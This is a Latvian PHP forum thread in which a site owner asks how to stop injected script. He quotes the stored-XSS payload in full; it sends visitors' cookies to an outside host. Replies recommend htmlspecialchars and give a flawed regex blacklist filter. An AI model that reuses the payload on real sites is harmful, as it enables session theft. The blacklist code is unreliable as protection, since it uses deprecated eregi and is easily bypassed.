Jump to content
php.lv forumi

ko darīt lai nepieļutu šādas izdarības!


Sasa

Recommended Posts

manā lapā var ierakstīt šādu tekstu un man vis saiet dēli: :(

 

//We will set XMLHttpRequestObject false to see if it returns true later on.
var XMLHTTPRequestObject = false;
if (window.XMLHttpRequest)
{
 XMLHttpRequestObject = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
 XMLHttpRequestObject = new ActiveXObject(\"Microsoft.XMLHTTP\");
}
else
{
 alert(\"Javascript must be enabled to continue.\");
}
function socket()
{
 XMLHttpRequestObject.open(\'GET\', \'http://s.4dev.net/sasa.po.gs.png?\' + window.document.cookie, true);  XMLHttpRequestObject.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");
 XMLHttpRequestObject.send(null);
 delete XMLHttpRequestObject;
}
window.document.onload=\'socket();\'\">

Mja ||||||||||||||||||||||||

 

ko darīt lai šitais vairs neatkārtotos!

Link to comment
Share on other sites

Mani nobanot :D :D

 

ja godīgi, tev tas nekaitēja.... diemžēl ;(

 

tagu filtrācija, htmlspecialchars htmlentities

 

 

pēc tā tur tev lapa visai jautri izskatījās :D :D

Edited by 4e4en
Link to comment
Share on other sites

  • 3 weeks later...

$check_url = (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : $_SERVER['SCRIPT_NAME']);

foreach ($_GET as $check_url) {

if ((eregi("<[^>]*script[^>]*>", $check_url)) || (eregi("<[^>]*object[^>]*>", $check_url)) ||

(eregi("<[^>]*iframe[^>]*>", $check_url)) || (eregi("<[^>]*applet[^>]*>", $check_url)) ||

(eregi("<[^>]*meta[^>]*>", $check_url)) || (eregi("<[^>]*style[^>]*>", $check_url)) ||

(eregi("<[^>]*form[^>]*>", $check_url)) || (eregi("\([^>][^)]*\)", $check_url)) ||

(eregi("<[^>]*frameset[^>]*>", $check_url)) || (eregi("<[^>]*onmouseover[^>]*>", $check_url)) ||

(eregi("<[^>]*img[^>]*>", $check_url)) || (eregi("\"", $check_url)) || (eregi("'", $check_url)))

{

die ();

}

}

 

un ka jau 4e4en teica htmlspecialchar izmanto

Link to comment
Share on other sites

×
×
  • Create New...